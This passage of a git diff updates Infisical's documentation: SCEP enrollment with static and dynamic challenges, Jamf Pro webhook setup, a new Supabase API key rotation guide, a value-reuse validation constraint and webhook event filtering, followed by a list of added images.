   <Step title="Configure your SCEP client and enroll">
     Provide the **SCEP endpoint URL** and **challenge password** from the previous steps to your SCEP client.
 
-    Below is an example using [sscep](https://github.com/certnanny/sscep), an open-source SCEP client.
+    <Tabs>
+      <Tab title="Static Challenge">
+        Below is an example using [sscep](https://github.com/certnanny/sscep), an open-source SCEP client.
 
-    **1. Retrieve the CA/RA certificates:**
+        **1. Retrieve the CA/RA certificates:**
 
-    ```bash
-    sscep getca \
-      -u https://app.infisical.com/scep/{profile_id}/pkiclient.exe \
-      -c ca.pem
-    ```
+        ```bash
+        sscep getca \
+          -u https://app.infisical.com/scep/{profile_id}/pkiclient.exe \
+          -c ca.pem
+        ```
 
-    This writes the RA certificate to `ca.pem-0` and the CA certificate to `ca.pem-1` (when "Include CA Cert in Response" is enabled).
+        This writes the RA certificate to `ca.pem-0` and the CA certificate to `ca.pem-1` (when "Include CA Cert in Response" is enabled).
 
-    **2. Generate a device key and CSR with the challenge password:**
+        **2. Generate a device key and CSR with the challenge password:**
 
-    The challenge password must be embedded in the CSR as a PKCS#9 attribute. Create an OpenSSL config file to include it:
+        The challenge password must be embedded in the CSR as a PKCS#9 attribute. Create an OpenSSL config file to include it:
 
-    ```bash
-    cat > device-csr.cnf << 'EOF'
-    [req]
-    default_bits = 2048
-    prompt = no
-    distinguished_name = dn
-    attributes = req_attributes
-
-    [dn]
-    CN = my-device.example.com
-
-    [req_attributes]
-    challengePassword = your-challenge-password
-    EOF
-
-    # Generate the key and CSR
-    openssl genrsa -out device.key 2048
-    openssl req -new -key device.key -out device.csr -config device-csr.cnf
-    ```
+        ```bash
+        cat > device-csr.cnf << 'EOF'
+        [req]
+        default_bits = 2048
+        prompt = no
+        distinguished_name = dn
+        attributes = req_attributes
 
-    **3. Create a self-signed certificate for the sscep signing identity:**
+        [dn]
+        CN = my-device.example.com
 
-    sscep requires a local signing certificate to sign the SCEP request envelope:
+        [req_attributes]
+        challengePassword = your-challenge-password
+        EOF
 
-    ```bash
-    openssl x509 -req -in device.csr -signkey device.key \
-      -out device-selfsigned.pem -days 1
-    ```
+        # Generate the key and CSR
+        openssl genrsa -out device.key 2048
+        openssl req -new -key device.key -out device.csr -config device-csr.cnf
+        ```
 
-    **4. Enroll via SCEP:**
+        **3. Create a self-signed certificate for the sscep signing identity:**
 
-    ```bash
-    sscep enroll \
-      -u https://app.infisical.com/scep/{profile_id}/pkiclient.exe \
-      -c ca.pem-0 \
-      -k device.key \
-      -r device.csr \
-      -l device-cert.pem \
-      -K device.key \
-      -O device-selfsigned.pem \
-      -E aes256 \
-      -S sha256
-    ```
+        sscep requires a local signing certificate to sign the SCEP request envelope:
 
-    On success, the issued certificate is written to `device-cert.pem`.
+        ```bash
+        openssl x509 -req -in device.csr -signkey device.key \
+          -out device-selfsigned.pem -days 1
+        ```
 
-    <Note>
-      Flag reference for the enroll command:
-      - `-c ca.pem-0` is the RA certificate from step 1
-      - `-K` / `-O` are the signing key and self-signed certificate used to sign the SCEP message envelope
-      - `-E aes256` selects AES-256-CBC encryption
-      - `-S sha256` selects SHA-256 for the message digest
-    </Note>
+        **4. Enroll via SCEP:**
+
+        ```bash
+        sscep enroll \
+          -u https://app.infisical.com/scep/{profile_id}/pkiclient.exe \
+          -c ca.pem-0 \
+          -k device.key \
+          -r device.csr \
+          -l device-cert.pem \
+          -K device.key \
+          -O device-selfsigned.pem \
+          -E aes256 \
+          -S sha256
+        ```
+
+        On success, the issued certificate is written to `device-cert.pem`.
+
+        <Note>
+          Flag reference for the enroll command:
+          - `-c ca.pem-0` is the RA certificate from step 1
+          - `-K` / `-O` are the signing key and self-signed certificate used to sign the SCEP message envelope
+          - `-E aes256` selects AES-256-CBC encryption
+          - `-S sha256` selects SHA-256 for the message digest
+        </Note>
+      </Tab>
+      <Tab title="Dynamic Challenge">
+        For dynamic challenges, you first generate a one-time challenge password via the API, then use it as the challenge password in the SCEP enrollment.
+
+        **1. Generate a dynamic challenge:**
+
+        ```bash
+        curl -s -X POST \
+          https://app.infisical.com/scep/{profile_id}/challenge \
+          -H "Authorization: Bearer <machine-identity-access-token>"
+        ```
+
+        The response body is the plain-text challenge password. Save it for use in the enrollment.
+
+        **2. Use the challenge in your SCEP enrollment:**
+
+        Follow the same steps as the static challenge flow above, but use the dynamically generated challenge password instead of a fixed one.
+
+        <Note>
+          Each dynamic challenge can only be used once. If enrollment fails, generate a new challenge and retry.
+        </Note>
+
+        For MDM integrations (Jamf Pro, Ivanti, etc.), the MDM tool handles this automatically via webhook. See the [Jamf Pro integration guide](/documentation/platform/pki/integration-guides/jamf-pro-scep) for details.
+      </Tab>
+    </Tabs>
 
     <Note>
       SCEP uses CMS/PKCS#7 encrypted messages to protect the certificate request in transit. The challenge password is included inside the encrypted envelope and is never sent in plaintext over the network.
@@ -173,6 +248,11 @@ Infisical's SCEP server supports the following algorithms for the CMS message ex
   <Accordion title="What is the RA certificate?">
     The RA (Registration Authority) certificate is automatically generated when you create a SCEP-enabled certificate profile. It is used to encrypt and sign the SCEP message exchange between the client and server. The RA certificate has a 10-year validity and is separate from your CA certificate.
   </Accordion>
+  <Accordion title="When should I use static vs. dynamic challenges?">
+    Use **static challenges** for simple setups where a shared password is acceptable, such as network devices or test environments.
+
+    Use **dynamic challenges** when integrating with MDM tools (Jamf Pro, Ivanti, Workspace ONE) that support fetching one-time challenges via webhook. Dynamic challenges provide stronger security since each challenge can only be used once and expires automatically.
+  </Accordion>
   <Accordion title="Can devices renew their certificates without the challenge password?">
     Yes, if **Allow Certificate-Based Renewal** is enabled on the certificate profile. Devices that already hold a valid certificate issued by the same CA can submit a renewal request (RenewalReq) signed with their existing certificate, without needing the challenge password.
   </Accordion>
diff --git a/docs/documentation/platform/pki/integration-guides/jamf-pro-scep.mdx b/docs/documentation/platform/pki/integration-guides/jamf-pro-scep.mdx
index fcaea5d1aac..8d4b6723aeb 100644
--- a/docs/documentation/platform/pki/integration-guides/jamf-pro-scep.mdx
+++ b/docs/documentation/platform/pki/integration-guides/jamf-pro-scep.mdx
@@ -7,6 +7,8 @@ This guide demonstrates how to use Infisical to issue and distribute certificate
 
 With this integration, Jamf Pro acts as the SCEP client on behalf of your managed devices, once a configuration profile is saved and scoped, enrolled devices automatically receive certificates issued by your Infisical Certificate Manager without any manual intervention on the device.
 
+Infisical supports both **static** and **dynamic** SCEP challenges with Jamf Pro. Dynamic challenges provide stronger security by generating a unique, one-time-use challenge password for each device enrollment.
+
 ## Prerequisites
 
 Before you begin, make sure you have:
@@ -14,6 +16,7 @@ Before you begin, make sure you have:
 - A [Jamf Pro](https://www.jamf.com/products/jamf-pro/) instance with administrative access.
 - A [certificate profile](/documentation/platform/pki/certificates/profiles) configured with the [SCEP enrollment method](/documentation/platform/pki/enrollment-methods/scep) in Infisical. Refer to the [SCEP enrollment guide](/documentation/platform/pki/enrollment-methods/scep) for setup instructions.
 - One or more computers or mobile devices enrolled in Jamf Pro.
+- For **dynamic challenges**: A [Machine Identity](/documentation/platform/identities/machine-identities) with access to the project containing the certificate profile.
 
 ## Guide
 
@@ -24,7 +27,34 @@ Before you begin, make sure you have:
         From the certificate profile, gather the following values:
 
         - **SCEP URL**: The SCEP endpoint URL for your certificate profile. This takes the form `https://app.infisical.com/scep/{profile_id}/pkiclient.exe`. For self-hosted instances, replace `app.infisical.com` with your instance's domain.
-        - **Challenge Password**: The shared secret configured on the SCEP enrollment method.
+
+        <Tabs>
+            <Tab title="Static Challenge">
+                - **Challenge Password**: The shared secret configured on the SCEP enrollment method.
+            </Tab>
+            <Tab title="Dynamic Challenge">
+                - **Challenge Endpoint URL**: The authenticated endpoint for generating one-time challenges. This takes the form `https://app.infisical.com/scep/{profile_id}/challenge`.
+                - **Machine Identity Access Token**: An access token for a Machine Identity with permissions on the project. You can obtain this by authenticating a [Machine Identity](/documentation/platform/identities/machine-identities) configured with [Token Auth](/documentation/platform/identities/token-auth).
+
+                With dynamic challenges, Jamf Pro calls a webhook to fetch a one-time challenge password for each device enrollment. Configure this webhook now:
+
+                ![Jamf Pro webhook configuration for SCEP challenges](/images/platform/pki/integrations/jamf-pro/jamf-webhook-config.png)
+
+                1. In Jamf Pro, navigate to **Settings** > **Global Management** > **Webhooks**.
+                2. Click **+ New** to create a new webhook.
+                3. Configure the webhook with the following settings:
+                    - **Display Name**: A descriptive name (e.g., `Infisical SCEP Challenge`).
+                    - **Enabled**: Check this box.
+                    - **Webhook URL**: Enter the **Challenge Endpoint URL** from above.
+                    - **Authentication Type**: Select **Header Authentication**.
+                    - **Header Name**: Enter `Authorization`.
+                    - **Header Value**: Enter `Bearer <your-machine-identity-access-token>`.
+                    - **Content Type**: Select **JSON**.
+                    - **Webhook Event**: Select **SCEPChallenge**.
+                4. Click **Save**.
+            </Tab>
+        </Tabs>
+
     </Step>
 
     <Step title="Create a configuration profile in Jamf Pro">
@@ -63,13 +93,20 @@ Before you begin, make sure you have:
         Next, configure the challenge authentication:
 
         <Tabs>
-            <Tab title="Static">
+            <Tab title="Static Challenge">
                 - **Challenge Type**: Select **Static** from the dropdown.
                 - **Challenge**: Enter the **Challenge Password** from your Infisical certificate profile.
                 - **Verify Challenge**: Re-enter the challenge password to confirm.
 
                 ![SCEP configuration — Challenge and certificate options](/images/platform/pki/integrations/jamf-pro/scep-config-challenge.png)
             </Tab>
+            <Tab title="Dynamic Challenge">
+                - **Challenge Type**: Select **Dynamic** from the dropdown.
+
+                No manual challenge password entry is needed, Jamf Pro automatically calls the webhook configured in step 1 to fetch a one-time challenge for each device enrollment.
+
+                ![SCEP configuration — Dynamic challenge type selected](/images/platform/pki/integrations/jamf-pro/scep-config-challenge-dynamic.png)
+            </Tab>
         </Tabs>
 
         Finally, configure the remaining certificate options:
diff --git a/docs/documentation/platform/secret-rotation/supabase-api-key.mdx b/docs/documentation/platform/secret-rotation/supabase-api-key.mdx
new file mode 100644
index 00000000000..c4b95b293ec
--- /dev/null
+++ b/docs/documentation/platform/secret-rotation/supabase-api-key.mdx
@@ -0,0 +1,124 @@
+---
+title: "Supabase API Key"
+description: "Learn how to automatically rotate Supabase API keys."
+---
+
+<Note>
+  **Rotation Type: Dual-Phase**
+
+  This rotation maintains two active credential sets with overlapping validity, ensuring zero-downtime during rotation cycles.
+</Note>
+
+## Prerequisites
+
+- Create a [Supabase Connection](/integrations/app-connections/supabase). That connection is used to create and delete API keys on your behalf during rotation.
+
+## Create a Supabase API Key Rotation in Infisical
+
+<Tabs>
+    <Tab title="Infisical UI">
+        1. Navigate to your Secret Manager Project's Dashboard and select **Add Secret Rotation** from the actions dropdown.
+
+        ![Secret Manager Dashboard](/images/secret-rotations-v2/generic/add-secret-rotation.png)
+
+        2. Select the **Supabase API Key** option.
+
+        ![Select Supabase API Key](/images/secret-rotations-v2/supabase-api-key/select-supabase-api-key.png)
+
+        3. Configure the rotation behavior, then click **Next**.
+
+        - **Supabase Connection** – The connection that will create and delete API keys during rotation.
+        - **Rotation Interval** – The interval, in days, after which a rotation is triggered.
+        - **Rotate At** – The local time of day when rotation runs once the interval has elapsed.
+        - **Auto-Rotation Enabled** – Whether to rotate automatically on the interval. Turn off to rotate only manually or pause rotation.
+
+        ![Rotation Configuration](/images/secret-rotations-v2/supabase-api-key/configuration.png)
+
+        4. Set the Supabase API key parameters, then click **Next**.
+
+        - **Project** – The Supabase project to rotate the API key for.
+        - **Key Type** – The type of the API key to rotate:
+            - `publishable` – The public `anon` key, safe to expose in client-side code. It is used with Row Level Security (RLS) policies to control per-user access.
+            - `secret` – The `service_role` key, which bypasses RLS entirely and has full access to your project's data. Must be kept server-side only.
+
+        ![Rotation Parameters](/images/secret-rotations-v2/supabase-api-key/parameters.png)
+
+        5. Specify the secret name that the rotated API key will be mapped to. Then click **Next**.
+
+        - **API Key** – The name of the secret in Infisical where the rotated API key value will be stored.
+
+        ![Rotation Secrets Mapping](/images/secret-rotations-v2/supabase-api-key/secrets-mapping.png)
+
+        6. Give your rotation a name and description (optional). Then click **Next**.
+
+        - **Name** – A slug-friendly name for this rotation configuration.
+        - **Description** (optional) – Notes about this rotation.
+
+        ![Rotation Details](/images/secret-rotations-v2/supabase-api-key/details.png)
+
+        7. Review your configuration, then click **Create Secret Rotation**.
+
+        ![Rotation Review](/images/secret-rotations-v2/supabase-api-key/review.png)
+
+        8. Your **Supabase API Key** rotation is created. The current API key is available as a secret at the mapped path. Rotations will create a new key, switch the active secret to it, then revoke the previous key for zero-downtime rotation.
+
+        ![Rotation Created](/images/secret-rotations-v2/supabase-api-key/created.png)
+    </Tab>
+    <Tab title="API">
+        To create a Supabase API Key rotation, call the [Create Supabase API Key Rotation](/api-reference/endpoints/secret-rotations/supabase-api-key/create) API endpoint.
+
+        ### Sample request
+
+        ```bash Request
+        curl --request POST \
+          --url https://us.infisical.com/api/v2/secret-rotations/supabase-api-key \
+          --header 'Content-Type: application/json' \
+          --data '{
+            "name": "my-supabase-rotation",
+            "projectId": "<project-id>",
+            "description": "Supabase API key rotation",
+            "connectionId": "<supabase-connection-id>",
+            "environment": "dev",
+            "secretPath": "/",
+            "isAutoRotationEnabled": true,
+            "rotationInterval": 30,
+            "rotateAtUtc": {
+              "hours": 0,
+              "minutes": 0
+            },
+            "parameters": {
+              "projectRef": "<supabase-project-ref>",
+              "keyType": "secret"
+            },
+            "secretsMapping": {
+              "apiKey": "SUPABASE_API_KEY"
+            }
+          }'
+        ```
+
+        ### Sample response
+
+        ```bash Response
+        {
+          "secretRotation": {
+            "id": "<rotation-id>",
+            "name": "my-supabase-rotation",
+            "description": "Supabase API key rotation",
+            "secretsMapping": {
+              "apiKey": "SUPABASE_API_KEY"
+            },
+            "isAutoRotationEnabled": true,
+            "activeIndex": 0,
+            "connectionId": "<supabase-connection-id>",
+            "rotationInterval": 30,
+            "rotateAtUtc": { "hours": 0, "minutes": 0 },
+            "type": "supabase-api-key",
+            "parameters": {
+              "projectRef": "<supabase-project-ref>",
+              "keyType": "secret"
+            }
+          }
+        }
+        ```
+    </Tab>
+</Tabs>
diff --git a/docs/documentation/platform/secret-validation-rules.mdx b/docs/documentation/platform/secret-validation-rules.mdx
index d977528bad1..3075d464680 100644
--- a/docs/documentation/platform/secret-validation-rules.mdx
+++ b/docs/documentation/platform/secret-validation-rules.mdx
@@ -29,8 +29,9 @@ Each rule contains one or more constraints. A constraint specifies what to check
 | **Regex Pattern** | The target must match a regular expression | Key must match `^[A-Z][A-Z0-9_]*$` |
 | **Required Prefix** | The target must start with specific text | Value must start with `https://` |
 | **Required Suffix** | The target must end with specific text | Key must end with `_SECRET` |
+| **Prevent Value Reuse** | The new value must not match any of the last N versions | Value must not match the last 10 versions |
 
-Each constraint can be applied to either the secret key or the secret value.
+Each constraint _(except Prevent Value Reuse)_ can be applied to either the secret key or the secret value. **Prevent Value Reuse** applies only to the secret value.
 
 ### Scoping Rules
 
@@ -68,7 +69,7 @@ This means you can have different validation standards for different parts of yo
 
     **Constraints**
 
-    Click **Add Constraint** and choose from the available constraint types. For each constraint, select whether it applies to the secret **key** or **value**, then provide the constraint parameter (length, pattern, prefix, or suffix).
+    Click **Add Constraint** and choose from the available constraint types. For each constraint, select whether it applies to the secret **key** or **value**, then provide the constraint parameter (length, pattern, prefix, suffix, or number of previous versions).
     You can add multiple constraints to a single rule. All constraints must pass for a secret to be accepted.
 
   
@@ -120,4 +121,12 @@ For example, you cannot have two separate "Regex Pattern on key" constraints in
 
     This helps distinguish production secrets from those in other environments.
   </Accordion>
+
+  <Accordion title="Prevent reuse of old secret values">
+    Create a rule with a **Prevent Value Reuse** constraint on the **secret value**:
+
+    - Previous versions: `10`
+
+    When a secret is updated, its new value is validated against the specified number of prior versions. This is useful for enforcing rotation policies and ensuring that secrets are not recycled.
+  </Accordion>
 </AccordionGroup>
diff --git a/docs/documentation/platform/webhooks.mdx b/docs/documentation/platform/webhooks.mdx
index 924dda87a7f..61534953225 100644
--- a/docs/documentation/platform/webhooks.mdx
+++ b/docs/documentation/platform/webhooks.mdx
@@ -23,6 +23,15 @@ The header will be in the format `t=<timestamp>;<signature>`. You can then gener
 
 If the signature in the header matches the signature that you generated, then you can be sure that the request was sent by Infisical and is intended for your integration. The timestamp in the header ensures that the request is not replayed.
 
+## Event Filtering
+
+By default, webhooks trigger on every supported event. You can narrow this down under **Advanced Settings** when creating a webhook, and only receive the events you care about. You can also change the events on existing webhooks by clicking **Edit** and selecting the events you want.
+
+Supported events:
+
+- **Secret Modified** (`secrets.modified`) — triggered when secrets in the configured scope are created, updated, or deleted.
+- **Secret Rotation Failed** (`secrets.rotation-failed`) — triggered when a secret rotation in the configured scope fails.
+
 ### Webhook Payload Format
 
 ```json
@@ -39,20 +48,6 @@ If the signature in the header matches the signature that you generated, then yo
 }
 ```
 
-```json
-{
-	"event": "secrets.reminder-expired",
-	"project": {
-		"workspaceId": "the workspace id",
-		"environment": "project environment",
-		"secretPath": "project folder path",
-		"secretName": "name of the secret",
-		"secretId": "id of the secret",
-		"reminderNote": "reminder note of the secret"
-	},
-	"timestamp": ""
-}
-```
 
 ```json
 {
diff --git a/docs/images/app-connections/digicert/add-connection.png b/docs/images/app-connections/digicert/add-connection.png
new file mode 100644
index 00000000000..e6347f62b1f
Binary files /dev/null and b/docs/images/app-connections/digicert/add-connection.png differ
diff --git a/docs/images/app-connections/digicert/digicert-app-connection-created.png b/docs/images/app-connections/digicert/digicert-app-connection-created.png
new file mode 100644
index 00000000000..106b3900e66
Binary files /dev/null and b/docs/images/app-connections/digicert/digicert-app-connection-created.png differ
diff --git a/docs/images/app-connections/digicert/digicert-app-connection-form.png b/docs/images/app-connections/digicert/digicert-app-connection-form.png
new file mode 100644
index 00000000000..37fd99b71d8
Binary files /dev/null and b/docs/images/app-connections/digicert/digicert-app-connection-form.png differ
diff --git a/docs/images/app-connections/digicert/digicert-app-connection-option.png b/docs/images/app-connections/digicert/digicert-app-connection-option.png
new file mode 100644
index 00000000000..5be60c196a1
Binary files /dev/null and b/docs/images/app-connections/digicert/digicert-app-connection-option.png differ
diff --git a/docs/images/app-connections/digicert/step-1.png b/docs/images/app-connections/digicert/step-1.png
new file mode 100644
index 00000000000..9898c9e89bb
Binary files /dev/null and b/docs/images/app-connections/digicert/step-1.png differ
diff --git a/docs/images/app-connections/digicert/step-2.png b/docs/images/app-connections/digicert/step-2.png
new file mode 100644
index 00000000000..e5e71e0bb34
Binary files /dev/null and b/docs/images/app-connections/digicert/step-2.png differ
diff --git a/docs/images/app-connections/doppler/copy-the-generated-code.png b/docs/images/app-connections/doppler/copy-the-generated-code.png
new file mode 100644
index 00000000000..89736b87ff2
Binary files /dev/null and b/docs/images/app-connections/doppler/copy-the-generated-code.png differ
diff --git a/docs/images/app-connections/doppler/create-api-token.png b/docs/images/app-connections/doppler/create-api-token.png
new file mode 100644
index 00000000000..30c0695d814
Binary files /dev/null and b/docs/images/app-connections/doppler/create-api-token.png differ
diff --git a/docs/images/app-connections/doppler/doppler-app-connection-created.png b/docs/images/app-connections/doppler/doppler-app-connection-created.png
new file mode 100644
index 00000000000..e969cb4aa2b
Binary files /dev/null and b/docs/images/app-connections/doppler/doppler-app-connection-created.png differ
diff --git a/docs/images/app-connections/doppler/doppler-app-connection-form.png b/docs/images/app-connections/doppler/doppler-app-connection-form.png
new file mode 100644
index 00000000000..1074fd32af0
Binary files /dev/null and b/docs/images/app-connections/doppler/doppler-app-connection-form.png differ
diff --git a/docs/images/app-connections/doppler/doppler-app-connection-option.png b/docs/images/app-connections/doppler/doppler-app-connection-option.png
new file mode 100644
index 00000000000..a0982bf7223
Binary files /dev/null and b/docs/images/app-connections/doppler/doppler-app-connection-option.png differ
diff --git a/docs/images/app-connections/doppler/doppler-create-service-account.png b/docs/images/app-connections/doppler/doppler-create-service-account.png
new file mode 100644
index 00000000000..858ebcc7040
Binary files /dev/null and b/docs/images/app-connections/doppler/doppler-create-service-account.png differ
diff --git a/docs/images/app-connections/doppler/doppler-dashboard.png b/docs/images/app-connections/doppler/doppler-dashboard.png
new file mode 100644
index 00000000000..cc1a50a90a2
Binary files /dev/null and b/docs/images/app-connections/doppler/doppler-dashboard.png differ
diff --git a/docs/images/app-connections/doppler/doppler-service-account-configure-role.png b/docs/images/app-connections/doppler/doppler-service-account-configure-role.png
new file mode 100644
index 00000000000..fa956f6176e
Binary files /dev/null and b/docs/images/app-connections/doppler/doppler-service-account-configure-role.png differ
diff --git a/docs/images/app-connections/doppler/doppler-service-account-select-role.png b/docs/images/app-connections/doppler/doppler-service-account-select-role.png
new file mode 100644
index 00000000000..b23e25dc2f9
Binary files /dev/null and b/docs/images/app-connections/doppler/doppler-service-account-select-role.png differ
diff --git a/docs/images/app-connections/doppler/manage-service-accounts.png b/docs/images/app-connections/doppler/manage-service-accounts.png
new file mode 100644
index 00000000000..f02f4b66047
Binary files /dev/null and b/docs/images/app-connections/doppler/manage-service-accounts.png differ
diff --git a/docs/images/app-connections/doppler/service-account-api-token-creation.png b/docs/images/app-connections/doppler/service-account-api-token-creation.png
new file mode 100644
index 00000000000..3004d7888f9
Binary files /dev/null and b/docs/images/app-connections/doppler/service-account-api-token-creation.png differ
diff --git a/docs/images/app-connections/ona/ona-access-token-tab.png b/docs/images/app-connections/ona/ona-access-token-tab.png
new file mode 100644
index 00000000000..8d232380e08
Binary files /dev/null and b/docs/images/app-connections/ona/ona-access-token-tab.png differ
diff --git a/docs/images/app-connections/ona/ona-account-settings.png b/docs/images/app-connections/ona/ona-account-settings.png
new file mode 100644
index 00000000000..17530a7796d
Binary files /dev/null and b/docs/images/app-connections/ona/ona-account-settings.png differ
diff --git a/docs/images/app-connections/ona/ona-app-connection-form.png b/docs/images/app-connections/ona/ona-app-connection-form.png
new file mode 100644
index 00000000000..9530b81d29c
Binary files /dev/null and b/docs/images/app-connections/ona/ona-app-connection-form.png differ
diff --git a/docs/images/app-connections/ona/ona-app-connection-generated.png b/docs/images/app-connections/ona/ona-app-connection-generated.png
new file mode 100644
index 00000000000..91044948a59
Binary files /dev/null and b/docs/images/app-connections/ona/ona-app-connection-generated.png differ
diff --git a/docs/images/app-connections/ona/ona-app-connection-option.png b/docs/images/app-connections/ona/ona-app-connection-option.png
new file mode 100644
index 00000000000..6edabc49de7
Binary files /dev/null and b/docs/images/app-connections/ona/ona-app-connection-option.png differ
diff --git a/docs/images/app-connections/ona/ona-pat-copy.png b/docs/images/app-connections/ona/ona-pat-copy.png
new file mode 100644
index 00000000000..57025a976e9
Binary files /dev/null and b/docs/images/app-connections/ona/ona-pat-copy.png differ
diff --git a/docs/images/app-connections/ona/ona-pat-creation-modal.png b/docs/images/app-connections/ona/ona-pat-creation-modal.png
new file mode 100644
index 00000000000..16c2b351ed7
Binary files /dev/null and b/docs/images/app-connections/ona/ona-pat-creation-modal.png differ
diff --git a/docs/images/app-connections/ona/ona-pat-section.png b/docs/images/app-connections/ona/ona-pat-section.png
new file mode 100644
index 00000000000..d821e671c41
Binary files /dev/null and b/docs/images/app-connections/ona/ona-pat-section.png differ
diff --git a/docs/images/app-connections/travis-ci/travis-ci-app-connection-modal.png b/docs/images/app-connections/travis-ci/travis-ci-app-connection-modal.png
new file mode 100644
index 00000000000..62cb11a9f1e
Binary files /dev/null and b/docs/images/app-connections/travis-ci/travis-ci-app-connection-modal.png differ
diff --git a/docs/images/app-connections/travis-ci/travis-ci-app-connection-option.png b/docs/images/app-connections/travis-ci/travis-ci-app-connection-option.png
new file mode 100644
index 00000000000..d387b59c051
Binary files /dev/null and b/docs/images/app-connections/travis-ci/travis-ci-app-connection-option.png differ
diff --git a/docs/images/app-connections/travis-ci/travis-ci-copy-token.png b/docs/images/app-connections/travis-ci/travis-ci-copy-token.png
new file mode 100644
index 00000000000..38f9879c723
Binary files /dev/null and b/docs/images/app-connections/travis-ci/travis-ci-copy-token.png differ
diff --git a/docs/images/platform/external-migrations/doppler-in-platform/doppler-connection-modal.png b/docs/images/platform/external-migrations/doppler-in-platform/doppler-connection-modal.png
new file mode 100644
index 00000000000..9beb04a1a94
Binary files /dev/null and b/docs/images/platform/external-migrations/doppler-in-platform/doppler-connection-modal.png differ
diff --git a/docs/images/platform/external-migrations/doppler-in-platform/import-doppler-secret-overview-modal.png b/docs/images/platform/external-migrations/doppler-in-platform/import-doppler-secret-overview-modal.png
new file mode 100644
index 00000000000..6d3e77840ab
Binary files /dev/null and b/docs/images/platform/external-migrations/doppler-in-platform/import-doppler-secret-overview-modal.png differ
diff --git a/docs/images/platform/external-migrations/doppler-in-platform/import-doppler-secret-overview-option.png b/docs/images/platform/external-migrations/doppler-in-platform/import-doppler-secret-overview-option.png
new file mode 100644
index 00000000000..456d7491f6d
Binary files /dev/null and b/docs/images/platform/external-migrations/doppler-in-platform/import-doppler-secret-overview-option.png differ
diff --git a/docs/images/platform/external-migrations/doppler-in-platform/select-doppler-provider.png b/docs/images/platform/external-migrations/doppler-in-platform/select-doppler-provider.png
new file mode 100644
index 00000000000..fa08408f2f9
Binary files /dev/null and b/docs/images/platform/external-migrations/doppler-in-platform/select-doppler-provider.png differ
diff --git a/docs/images/platform/external-migrations/vault-in-platform/import-vault-secrets-modal.png b/docs/images/platform/external-migrations/vault-in-platform/import-vault-secrets-modal.png
index 3bfe6428b46..80ee2f56cdb 100644
Binary files a/docs/images/platform/external-migrations/vault-in-platform/import-vault-secrets-modal.png and b/docs/images/platform/external-migrations/vault-in-platform/import-vault-secrets-modal.png differ
diff --git a/docs/images/platform/external-migrations/vault-in-platform/namespace-configuration-modal.png b/docs/images/platform/external-migrations/vault-in-platform/namespace-configuration-modal.png
index 828b825445d..a9c04667cd6 100644
Binary files a/docs/images/platform/external-migrations/vault-in-platform/namespace-configuration-modal.png and b/docs/images/platform/external-migrations/vault-in-platform/namespace-configuration-modal.png differ
diff --git a/docs/images/platform/external-migrations/vault-in-platform/select-migration-provider.png b/docs/images/platform/external-migrations/vault-in-platform/select-migration-provider.png
new file mode 100644
index 00000000000..a95e2775f57
Binary files /dev/null and b/docs/images/platform/external-migrations/vault-in-platform/select-migration-provider.png differ
diff --git a/docs/images/platform/gateways/gateway-create-button.png b/docs/images/platform/gateways/gateway-create-button.png
new file mode 100644
index 00000000000..df34e314dfc
Binary files /dev/null and b/docs/images/platform/gateways/gateway-create-button.png differ
diff --git a/docs/images/platform/gateways/gateway-create-form.png b/docs/images/platform/gateways/gateway-create-form.png
new file mode 100644
index 00000000000..821764b10f5
Binary files /dev/null and b/docs/images/platform/gateways/gateway-create-form.png differ
diff --git a/docs/images/platform/gateways/gateway-pools-add-gateway.png b/docs/images/platform/gateways/gateway-pools-add-gateway.png
new file mode 100644
index 00000000000..e6e2fb8eeeb
Binary files /dev/null and b/docs/images/platform/gateways/gateway-pools-add-gateway.png differ
diff --git a/docs/images/platform/gateways/gateway-pools-click-pool.png b/docs/images/platform/gateways/gateway-pools-click-pool.png
new file mode 100644
index 00000000000..8025414ba29
Binary files /dev/null and b/docs/images/platform/gateways/gateway-pools-click-pool.png differ
diff --git a/docs/images/platform/gateways/gateway-pools-create.png b/docs/images/platform/gateways/gateway-pools-create.png
new file mode 100644
index 00000000000..b07487d15fd
Binary files /dev/null and b/docs/images/platform/gateways/gateway-pools-create.png differ
diff --git a/docs/images/platform/gateways/gateway-pools-switch.png b/docs/images/platform/gateways/gateway-pools-switch.png
new file mode 100644
index 00000000000..1d055219a87
Binary files /dev/null and b/docs/images/platform/gateways/gateway-pools-switch.png differ
diff --git a/docs/images/platform/gateways/gateway-pools-tab.png b/docs/images/platform/gateways/gateway-pools-tab.png
new file mode 100644
index 00000000000..4742bde4634
Binary files /dev/null and b/docs/images/platform/gateways/gateway-pools-tab.png differ
diff --git a/docs/images/platform/pki/aws-acm-public-ca/aws-acm-public-ca-certificate-created.png b/docs/images/platform/pki/aws-acm-public-ca/aws-acm-public-ca-certificate-created.png
new file mode 100644
index 00000000000..0d7fd1cf6db
Binary files /dev/null and b/docs/images/platform/pki/aws-acm-public-ca/aws-acm-public-ca-certificate-created.png differ
diff --git a/docs/images/platform/pki/aws-acm-public-ca/aws-acm-public-ca-copy-hosted-zone-id.png b/docs/images/platform/pki/aws-acm-public-ca/aws-acm-public-ca-copy-hosted-zone-id.png
new file mode 100644
index 00000000000..2a53da8ce82
Binary files /dev/null and b/docs/images/platform/pki/aws-acm-public-ca/aws-acm-public-ca-copy-hosted-zone-id.png differ
diff --git a/docs/images/platform/pki/aws-acm-public-ca/aws-acm-public-ca-external-ca-form.png b/docs/images/platform/pki/aws-acm-public-ca/aws-acm-public-ca-external-ca-form.png
new file mode 100644
index 00000000000..5d1da518222
Binary files /dev/null and b/docs/images/platform/pki/aws-acm-public-ca/aws-acm-public-ca-external-ca-form.png differ
diff --git a/docs/images/platform/pki/aws-acm-public-ca/aws-acm-public-ca-external-ca-page.png b/docs/images/platform/pki/aws-acm-public-ca/aws-acm-public-ca-external-ca-page.png
new file mode 100644
index 00000000000..640aecf55a6
Binary files /dev/null and b/docs/images/platform/pki/aws-acm-public-ca/aws-acm-public-ca-external-ca-page.png differ
diff --git a/docs/images/platform/pki/digicert/digicert-external-ca-form.png b/docs/images/platform/pki/digicert/digicert-external-ca-form.png
new file mode 100644
index 00000000000..3f2702e9ba5
Binary files /dev/null and b/docs/images/platform/pki/digicert/digicert-external-ca-form.png differ
diff --git a/docs/images/platform/pki/integrations/jamf-pro/jamf-webhook-config.png b/docs/images/platform/pki/integrations/jamf-pro/jamf-webhook-config.png
new file mode 100644
index 00000000000..1169a466b8b
Binary files /dev/null and b/docs/images/platform/pki/integrations/jamf-pro/jamf-webhook-config.png differ
diff --git a/docs/images/platform/pki/integrations/jamf-pro/scep-config-challenge-dynamic.png b/docs/images/platform/pki/integrations/jamf-pro/scep-config-challenge-dynamic.png
new file mode 100644
